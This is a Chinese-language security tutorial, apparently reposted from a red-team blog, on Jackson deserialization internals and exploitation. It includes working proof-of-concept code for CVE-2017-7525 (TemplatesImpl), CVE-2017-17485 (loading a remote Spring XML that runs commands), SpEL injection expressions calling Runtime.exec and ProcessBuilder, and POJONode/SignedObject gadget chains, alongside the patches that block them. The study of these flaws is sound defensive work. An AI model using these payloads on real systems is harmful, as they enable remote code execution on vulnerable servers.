pom.xml:
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.9.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.9.3</version>
</dependency>
基础知识总结
jackson是用来序列化和反序列化json的解析器之一
Jackson 的核心模块由三部分组成。
-
jackson-core,核心包,提供基于”流模式”解析的相关 API,它包括 JsonPaser 和 JsonGenerator。Jackson 内部实现正是通过高性能的流模式 API 的 JsonGenerator 和 JsonParser 来生成和解析 json。 -
jackson-annotations,注解包,提供标准注解功能; -
jackson-databind ,数据绑定包, 提供基于”对象绑定” 解析的相关 API ( ObjectMapper ) 和”树模型” 解析的相关 API (JsonNode)
ObjectMapper
使用该对象的方法,可以解析JSON到java对象,也可以把java对象转化为JSON
json转化为对象
将json转化为对象code:(需要有Person类)
String json = "{"name":"John", "age":30}";
ObjectMapper objectMapper = new ObjectMapper();
Person person = objectMapper.readValue(json, Person.class);
对象转化为json
ObjectMapper objectMapper = new ObjectMapper();
Person person = new Person();
person.setAge(123);
person.setName("fakes0u1");
String jsonstring = objectMapper.writeValueAsString(person);
共有三种方法可以将对象转化为json:
-
writeValue() -
writeValueAsString() -
writeValueAsBytes()
JsonParser
ObjectMapper.readValue其实底层就是用的JsonParser进行解析。算是另一种更底层的转化方式,由于底层,所以速度更快
json转化为对象
JsonParser的使用如下:
String json = "{"name":"fakes0u1","age":123}";
JsonFactory jsonFactory = new JsonFactory();
JsonParser parser = jsonFactory.createParser(json);
对象转化为Json
使用JsonGenerator从java对象生成JSON
JsonFactory jsonFactory = new JsonFactory();
Person1 person1 = new Person1();
JsonGenerator jsonGenerator = jsonFactory.createGenerator(new File("output.json"), JsonEncoding.UTF8);
jsonGenerator.writeStartObject();
jsonGenerator.writeStringField("name","fakes0u1");
jsonGenerator.writeNumberField("age",123);
jsonGenerator.writeEndObject();
jsonGenerator.close();
也可以把文件流换成其他流进行写入
JacksonPolymorphicDeserialization 机制
简单地说,Java 多态就是同一个接口使用不同的实例而执行不同的操作。
那么问题来了,如果对多态类的某一个子类实例在序列化后再进行反序列化时,如何能够保证反序列化出来的实例即是我们想要的那个特定子类的实例而非多态类的其他子类实例呢?—— Jackson 实现了 JacksonPolymorphicDeserialization 机制来解决这个问题。
JacksonPolymorphicDeserialization 即 Jackson 多态类型的反序列化:在反序列化某个类对象的过程中,如果类的成员变量不是具体类型(non-concrete),比如 Object、接口或抽象类,则可以在 JSON 字符串中指定其具体类型,Jackson 将生成具体类型的实例。
简单地说,就是将具体的子类信息绑定在序列化的内容中以便于后续反序列化的时候直接得到目标子类对象,其实现有两种,即 DefaultTyping
和 @JsonTypeInfo
注解。这里和前面学过的 fastjson 是很相似的。
DefaultTyping
Jackson 提供一个 enableDefaultTyping 设置,该设置位于jackson-databind-2.7.9.jar!/com/fasterxml/jackson/databind/ObjectMapper.java
共有以下四个选项:
JAVA_LANG_OBJECT
OBJECT_AND_NON_CONCRETE
NON_CONCRETE_AND_ARRAYS
NON_FINAL
先用enableDefaultTyping进行设置,再调用writeValueAsString进行序列化。就会按照属性类型进行序列化和反序列化。看下case吧:
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
String json = mapper.writeValueAsString(p);
左边是没设置enableDefaultTyping,右边是设置的
这四个选项能反序列化的属性范围如下:
DefaultTyping类型 | 能反序列化的属性 |
---|---|
JAVA_LANG_OBJECT | 属性的类型为Object |
OBJECT_AND_NON_CONCRETE | 属性的类型为Object、Interface、AbstractClass |
NON_CONCRETE_AND_ARRAYS | 属性的类型为Object、Interface、AbstractClass、Array |
NON_FINAL | 所有除了声明为final之外的属性 |
**enableDefaultTyping()**默认无参数设置为OBJECT_AND_NON_CONCRETE
有的不理解interface和Object在这里的区别是什么:
按CC链来举例,Transformer[]是数组,Transformer是接口,而InvokerTransformer这种就是Object
@JsonTypeInfo注解
和DefaultTyping功能类似,JsonTypeInfo是直接注解字段,达到相同的功能
比如在需要序列化和反序列化的对象内,标记Object字段:
public class Person {
public int age;
public String name;
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
public Object object;
getter...setter...
}
以下两种注解能达到反序列化
-
JsonTypeInfo.Id.CLASS -
JsonTypeInfo. Id. MINIMAL_CLASS
比如注解为@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
序列化出来的json字符如下:
{"age":6,"name":"drunkbaby","object":{"@class":"com.drunkbaby.Hacker","skill":"hiphop"}}
反序列化当然也能按照指定的类进行反序列化
注解为@JsonTypeInfo(use = JsonTypeInfo. Id. MINIMAL_CLASS)
时,用 @c 替代了 @class,就是一个简单的缩短,和JsonTypeInfo.Id.CLASS
作用相同
{"age":6,"name":"drunkbaby","object":{"@c":"com.drunkbaby.Hacker","skill":"hiphop"}}
总结
反序列化条件
达到以下任意一个条件,可以反序列化指定类:
-
开启了enableDefaultTyping()四个的任意一个设置,不过不同设置能反序列化的范围不同,trick也不同(不过范围最小的JAVA_LANG_OBJECT都够用) -
使用了@JsonTypeInfo注解字段,注解值为 JsonTypeInfo.Id.CLASS
或者JsonTypeInfo. Id. MINIMAL_CLASS
反序列化json格式
当然,你也能观察到不同的指定方式,json的格式不同。比如enableDefaultTyping()设置后序列化出来的字符串,并没有@
符号,而是用[]
包裹了
-
enableDefaultTyping对应json格式:
// 设置JAVA_LANG_OBJECT
{"age":6,"name":"mi1k7ea","object":["com.mi1k7ea.Hacker",{"skill":"Jackson"}]}
-
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
{"age":6,"name":"drunkbaby","object":{"@class":"com.drunkbaby.Hacker","skill":"hiphop"}}
-
@JsonTypeInfo(use = JsonTypeInfo. Id. MINIMAL_CLASS)
{"age":6,"name":"drunkbaby","object":{"@c":"com.drunkbaby.Hacker","skill":"hiphop"}}
反序列化入口
反序列化的入口为以下两个的一种:
-
JsonFactory.createParser -
objectMapper.readValue
OK,下面看看反序列化的过程,到底怎么反序列化的
调试
调试代码
这里就只调试开启了enableDefaultTyping()的case,注解的方式过程也差不多
Sex接口:
public interface Sex {
public void setSex(int sex);
public int getSex();
}
MySex类:
public class MySex implements Sex {
int sex;
public MySex() {
System.out.println("MySex构造函数");
}
public int getSex() {
System.out.println("MySex.getSex");
return sex;
}
public void setSex(int sex) {
System.out.println("MySex.setSex");
this.sex = sex;
}
}
Person类:
public class Person {
public Person(){
System.out.println("Person Constructor");
}
private String param1;
private Sex sex;
public String getParam1() {
System.out.println("getParam1");
return param1;
}
public void setParam1(String param1) {
System.out.println("setParam1");
this.param1 = param1;
}
public Sex getSex() {
System.out.println("getSex");
return sex;
}
public void setSex(Sex sex) {
System.out.println("setSex");
this.sex = sex;
}
}
jacksoncase主类:
public class jacksoncase {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "{"param1":"aaa","sex":["org.exploit.othercase.jackson.MySex",{"sex":1}]}";
Person p2 = mapper.readValue(json, Person.class);
System.out.println(p2);
}
}
输出如下:
可以看到是按照 构造函数->setter赋值
,对里面的字段也采取这个嵌套的方式进行反序列化
调用构造器和setter
在readValue处打上断点
跟进到_readMapAndClose
,从JsonParser中读取并解析JSON数据为指定的valueType对象
会走进deser.deserialize
我们这里JSONToken令牌是START_OBJECT,表示是个对象进行反序列化
继续跟进,如果令牌是START_OBJECT,会走进if调用vanillaDeserialize
p.nextToken就是{
下一个符号,也就是我们的”param1″,对应的JsonToken是FIELD_NAME
vanillaDeserialize就是jackson反序列化json至对象的主逻辑,如下:
_valueInstantiator包含了从valueType中取到的构造函数
createUsingDefault完成了实例化Person类
把这个实例化的空的bean,存到JsonParser中。
如果JsonParser当前处于字段名(FIELD_NAME)状态,则循环处理每个属性
处理方式为:
-
获取当前属性名 -
获取类中对应的字段作为prop,包含了对应的setter
-
prop不为空,则调用deserializeAndSet进行设置字段
跟进到deserializeAndSet内,继续跟到StringDeserializer.deserialize
我们设置的第一个键值对为"param1":"aaa"
,所以字段值属于VALUE_STRING,直接返回了
返回后直接调用setter赋值了
再看下循环到的自定义的MySex对象,在vanillaDeserialize do…while的第二次循环:
由于_valueTypeDeserializer
不为空,(在初始化的时候就设为了Array对应的反序列化器),于是调用指定反序列化器的deserializeWithType进行反序列化字段
跟进到AsArrayTypeDeserializer._deserialize
,看名字也知道,数组的反序列化器,继续跟进发现又走到了vannillaDeserialize
也就是个嵌套的解析
继续跟到StdValueInstantiator.createFromString,如果当前类有构造方法,会进入call1()
调用有参构造函数
关于jackson调用无参构造器和有参构造器的顺序如下;
https://blog.csdn.net/jiayoudangdang/article/details/127813330
-
没有无参构造时: -
如果有参构造的参数全,或者更多(就是有不存在的值),这样还能正常运行 -
如果参数不全则直接异常 -
无参构造和有参构造方法都有的时候先走无参构造; -
无参构造需要set/get方法来完成序列化和反序列化
fastjson调不了有参构造函数,而jackson可以 jackson NB!!
jackson漏洞版本可以触发任意函数的构造函数和setter,以此衍生出攻击面
CVE-2017-7525 TemplatesImpl链
和fastjson不同的是,fastjson是直接指定传入的类,而jackson,是指定Object字段为恶意类
影响版本
Jackson 2.6系列 < 2.6.7.1
Jackson 2.7系列 < 2.7.9.1
Jackson 2.8系列 < 2.8.8.1
jdk<=7u21||8u20
pom.xml:
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.7.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.7.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.7.3</version>
enableDefaultTyping POC
Test类:
public class Test {
public Object object;
}
POC:
public class jackson_TemplatesImpl {
public static void main(String[] args) throws IOException {
String exp = readClassStr("E:\CODE_COLLECT\Idea_java_ProTest\my-yso\target\classes\TemplatesImpl_RuntimeEvil.class");
String jsonInput = aposToQuotes("{"object":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',n" +
"{n" +
"'transletBytecodes':['"+exp+"'],n" +
"'transletName':'test',n" +
"'outputProperties':{}n" +
"}n" +
"]n" +
"}");
System.out.printf(jsonInput);
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
Test test;
try {
test = mapper.readValue(jsonInput, Test.class);
} catch (Exception e) {
e.printStackTrace();
}
}
public static String aposToQuotes(String json){
return json.replace("'",""");
}
public static String readClassStr(String cls) throws IOException {
byte[] code1 = Files.readAllBytes(Paths.get("E:\CODE_COLLECT\Idea_java_ProTest\my-yso\target\classes\TemplatesImpl_RuntimeEvil.class"));
return Base64.encode(code1);
}
}
怎么调用的getter?为什么我的case调用不了?妈的,分析了两天,不知道哪种情况会调用到FieldProperty.deserializeAndSet ,哪种情况会调用到setterlessProperty.deserializeAndSet。不管了,反正是抄poc。他妈我写的case也没有setter,就是要跑到FieldProperty.deserializeAndSet内反射赋值
不管了,见版本直接打
如果有知道原因的,QQ+1958304602 解答V9.9喝蜜雪冰城
其他的就是调setter赋值了
有没有注意到我们并没有设置一般都会设置的_tfactory
在CC中我们不设置,是因为readObject帮我们设置了
在JDK低版本用不到_tfactory
,所以不设置也没问题
在JDK>7U21||8u20的情况下,不设置_tfactory
defineTransletClasses会报错
区别如下:
左为JDK8U65,右为JDK7U21
JsonTypeInfo.Id.CLASS POC
package org.exploit.third.jackson;
import com.fasterxml.jackson.annotation.JsonTypeInfo;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.unboundid.util.Base64;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Id_MINIMAL_Class_TemplatesImpl {
public static class Id_Class_Test {
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
public Object object;
}
public static void main(String[] args) throws IOException {
String exp = readClassStr("E:\CODE_COLLECT\Idea_java_ProTest\my-yso\target\classes\TemplatesImpl_RuntimeEvil.class");
String jsonInput = aposToQuotes("{"object":{'@c':'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',n" +
"'transletBytecodes':['"+exp+"'],n" +
"'transletName':'test',n" +
"'outputProperties':{}n" +
"}n" +
"}");
System.out.printf(jsonInput);
ObjectMapper mapper = new ObjectMapper();
try {
Id_Class_Test test = mapper.readValue(jsonInput, Id_Class_Test.class);
} catch (Exception e) {
e.printStackTrace();
}
}
public static String aposToQuotes(String json){
return json.replace("'",""");
}
public static String readClassStr(String cls) throws IOException {
byte[] code1 = Files.readAllBytes(Paths.get("E:\CODE_COLLECT\Idea_java_ProTest\my-yso\target\classes\TemplatesImpl_RuntimeEvil.class"));
return Base64.encode(code1);
}
}
JsonTypeInfo.Id.MIMIMAL_CLASS POC
package org.exploit.third.jackson;
import com.fasterxml.jackson.annotation.JsonTypeInfo;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.unboundid.util.Base64;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Id_MINIMAL_Class_TemplatesImpl {
public static class Id_Class_Test {
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
public Object object;
}
public static void main(String[] args) throws IOException {
String exp = readClassStr("E:\CODE_COLLECT\Idea_java_ProTest\my-yso\target\classes\TemplatesImpl_RuntimeEvil.class");
String jsonInput = aposToQuotes("{"object":{'@c':'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',n" +
"'transletBytecodes':['"+exp+"'],n" +
"'transletName':'test',n" +
"'outputProperties':{}n" +
"}n" +
"}");
System.out.printf(jsonInput);
ObjectMapper mapper = new ObjectMapper();
try {
Id_Class_Test test = mapper.readValue(jsonInput, Id_Class_Test.class);
} catch (Exception e) {
e.printStackTrace();
}
}
public static String aposToQuotes(String json){
return json.replace("'",""");
}
public static String readClassStr(String cls) throws IOException {
byte[] code1 = Files.readAllBytes(Paths.get("E:\CODE_COLLECT\Idea_java_ProTest\my-yso\target\classes\TemplatesImpl_RuntimeEvil.class"));
return Base64.encode(code1);
}
}
fastjson跑不了这个链,因为fastjson对于getOutputProperties这种getter是不会调用的,返回值不满足要求
修复
pom.xml修改jackson-databind版本至2.7.9.1
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.7.9.1</version>
再次运行报Illegal type to deserialize: prevented for security reasons
错误
加了checkIllegalTypes黑名单验证
包括以下类,TemplatesImpl被过滤
CVE-2017-17485 ClassPathXmlApplicationContext链
Jackson 2.7系列 < 2.7.9.2
Jackson 2.8系列 < 2.8.11
Jackson 2.9系列 < 2.9.4
jdk无版本限制
此漏洞为jackson打spring,需要点上spring的依赖:
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>5.3.28</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-expression</artifactId>
<version>5.3.28</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>5.3.28</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.28</version>
</dependency>
spring
spring提供了很多种从xml文件实例化bean的方法。虽然这只是spring的一小部分功能,但这是学java安全的一大部分了(hh
xml的模板如下,每个xml至少都会包括以下内容,算是个规范
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
https://www.springframework.org/schema/beans/spring-beans.xsd">
...
...
</beans>
剩下的见5tooc3a blog springRe0:
https://www.yuque.com/5tooc3a/jas/vwovvqh6w86ifrye#
写的非常好,好的我挑不出哪里需要重写,为防止网站挂掉,转载到blog了
SeEL简介
在 spring3 中引入了 spring 表达式语言(Spring Expression Language)
主要作用是对于基于 XML 文件或者基于注解的 Spring 配置的装载。也就是对IOC容器中的javaBean进行动态属性状态和提取。
SpEL表达式定界符为#{}
,加载外部属性文件还能用${}
pom.xml:
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>5.3.28</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-expression</artifactId>
<version>5.3.28</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>5.3.28</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.28</version>
</dependency>
同样能看:
https://www.yuque.com/5tooc3a/jas/tgmsxhgzn4a615sx#
spEL解析所需的依赖为spring-expression包
xml文档注入
spring最基础的解析xml,可以用#{}
表达式搭配T()
使用其他类的静态方法
T()
能获取到基础类(并不能实例化),之后就可以调用该类的静态方法
Person类:
public class Person {
private String name;
private int age;
public Person() {
}
public String getName() {
System.out.println(name);
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "Person{" +
"name='" + name + ''' +
", age=" + age +
'}';
}
}
比如Runtime.getRuntime().exec
:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="Person" class="org.exploit.othercase.SpEL.Person">
<property name="name" value="#{T(java.lang.Runtime).getRuntime().exec('calc')}" />
<property name="age" value="#{1}" />
</bean>
</beans>
beans.xml放到resources下,利用ClassPathXmlApplicationContext加载xml文档
public class SpELcase {
public static void main(String[] args) {
ApplicationContext applicationContext=new ClassPathXmlApplicationContext("beans.xml");
Person person=applicationContext.getBean("person",Person.class);
person.getName();
}
}
singleton模式下,Spring加载bean并调用setter进行依赖注入的行为发生在ClassPathXmlApplicationContext加载XML配置文件的过程中,具体来说:
-
加载配置文件阶段:当使用ClassPathXmlApplicationContext类来加载一个或多个XML配置文件时,Spring会解析这些配置文件中的bean定义,并将它们注册到IoC容器中。 -
bean实例化与依赖注入:在这个过程中,对于每个bean,Spring会根据XML中定义的信息创建bean的实例。如果bean定义中包含了属性及其setter方法,则Spring会调用这些setter方法来完成依赖注入。 -
getBean方法:当通过getBean方法从应用上下文中请求某个bean时,Spring实际上是从已经初始化好的bean池中获取该bean的引用。此时,bean的实例化和依赖注入工作已经完成。
调用getBean只是从容器中获取已经准备好的bean实例。
singleton和prototype模式的区别:
对于singleton作用域的bean,Spring会在启动时创建一个单例实例,并将其保存在容器中。对于prototype作用域的bean,Spring不会在启动时创建实例,而是在每次调用getBean方法时创建一个新的实例。
SpelExpressionParser 注入
SpelExpressionParser.parseExpression进行Spel解析,直接注,无需#{}
public class ExpressionTest {
public static void main(String[] args) {
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')");
EvaluationContext context = new StandardEvaluationContext();
expression.getValue(context);
}
}
调用getValue触发表达式的执行
甚至可以直接new对象:
-
ProcessBuilder:
Expression expression = parser.parseExpression("new java.lang.ProcessBuilder(new String[]{"calc"}).start()");
-
ScriptEngineManager
Expression expression = parser.parseExpression("new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);")");
默认singleton模式下,ClassPathXmlApplicationContext加载xml资源,并完成实例化和调用setter传参。这个xml资源可以是http路径。(无需getBean就能触发整个创建Bean的流程
public static void main(String[] args) {
ApplicationContext applicationContext=new ClassPathXmlApplicationContext("http://127.0.0.1:8888/spel.xml");
}
spel.xml内的bean需要先创建实例,再执行spEL表达式,所以得找一个能new,然后执行命令的方式,Runtime new不了
ProcesserBuilder就很合适:
ProcessBuilder pb = new ProcessBuilder("command","param...");
Process pro2 = pb.start();
弹计算器:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg name="command" value="calc"/>
<property name="whatever" value="#{pb.start()}"/>
</bean>
</beans>
jackson能调用有参构造函数,enableDefaultTyping POC:
public class PoC {
public static void main(String[] args) {
//CVE-2017-17485
String payload = "["org.springframework.context.support.ClassPathXmlApplicationContext", "http://127.0.0.1:8888/spel.xml"]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
try {
mapper.readValue(payload, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}
修复
https://github.com/FasterXML/jackson-databind/commit/2235894210c75f624a3d0cd60bfb0434a20a18bf
换成 jackson-databind-2.7.9.2版本的 jar 试试,会报错,显示由于安全原因禁止了该非法类的反序列化操作:
黑名单位于:
com.fasterxml.jackson.databind.jsontype.impl.SubTypeValidator
并没有看到黑名单类里面有我们利用的这个类
再往下看,这里会把所有 org.springframe
开头的类名做处理
先进行黑名单过滤,发现类名不在黑名单后再判断是否是以 org.springframe
开头的类名,是的话循环遍历目标类的父类是否为 AbstractPointcutAdviso
或 AbstractApplicationContext
,是的话跳出循环然后抛出异常:
而我们的利用类其继承关系是这样的:
…->AbstractApplicationContext->
AbstractRefreshableApplicationContext->
AbstractRefreshableConfigApplicationContext->
AbstractXmlApplicationContext->
ClassPathXmlApplicationContext
可以看到,ClassPathXmlApplicationContext 类是继承自 AbstractApplicationContext 类的,而该类会被过滤掉,从而没办法成功绕过利用。
打依赖包通杀
此处通杀指打依赖包,不是readValue作为入口
jackson-databind>=2.13.3
jackson-databind core annotations三包版本需匹配
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.13.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.13.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.13.3</version>
</dependency>
POJONode链
入口点位于com.fasterxml.jackson.databind.node下POJONode.toString
实际上调用的是父类BaseJsonNode.toString
nodeToString调用到writeValueAsString,会触发getter
但是在序列化过程中,ObjectOutputStream.writeObject0会判断类是否重写了writeReplace方法
BaseJsonNode重写了writeReplace方法
在调用这个方法时发生了异常,把这个方法删了可以顺利序列化
序列化当然不会影响反序列化的进程,直接重写
利用链:
BadAttributeValueExpException.readObject ->
POJONode.toString ->
InternalNodeMapper,nodeToString ->
JSONMapper.writeValueAsString -> getter
POC:
public class POJONode_TemplatesImpl {
public static void main(String[] args) throws Exception {
byte[] code1 = Files.readAllBytes(Paths.get("target/classes/TemplatesImpl_RuntimeEvil.class"));
TemplatesImpl templatesClass = new TemplatesImpl();
Field[] fields = templatesClass.getClass().getDeclaredFields();
for (Field field : fields) {
field.setAccessible(true);
if (field.getName().equals("_bytecodes")) {
field.set(templatesClass, new byte[][]{code1});
} else if (field.getName().equals("_name")) {
field.set(templatesClass, "godown");
} else if (field.getName().equals("_tfactory")) {
field.set(templatesClass, new TransformerFactoryImpl());
}
}
POJONode pojoNode = new POJONode(templatesClass);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, pojoNode);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception
{
java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin");
java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException
{
java.io.FileInputStream fis = new java.io.FileInputStream(Filename);
java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis);
Object obj = ois.readObject();
ois.close();
return obj;
}
}
SignedObject链
打二次反序列化,用于绕过自定义了POJONode对入口类的筛查,循环嵌套过滤的不能绕过
SignedObject.getObject能反序列化this.content:
content能在构造函数赋值
SignedObject装配恶意类,然后找能触发getter的地方
利用链:
BadAttributeValueExpException.readObject ->
POJONode.toString ->
InternalNodeMapper,nodeToString ->
JSONMapper.writeValueAsString ->
SignedObject.getObject ->
BadAttributeValueExpException.readObject ->
POJONode.toString ->
InternalNodeMapper,nodeToString ->
JSONMapper.writeValueAsString ->
TemplatesImpl.getOutputProperties
加下方wx,拉你一起进群学习
原文始发于微信公众号(红队蓝军):jackson 反序列化全文解析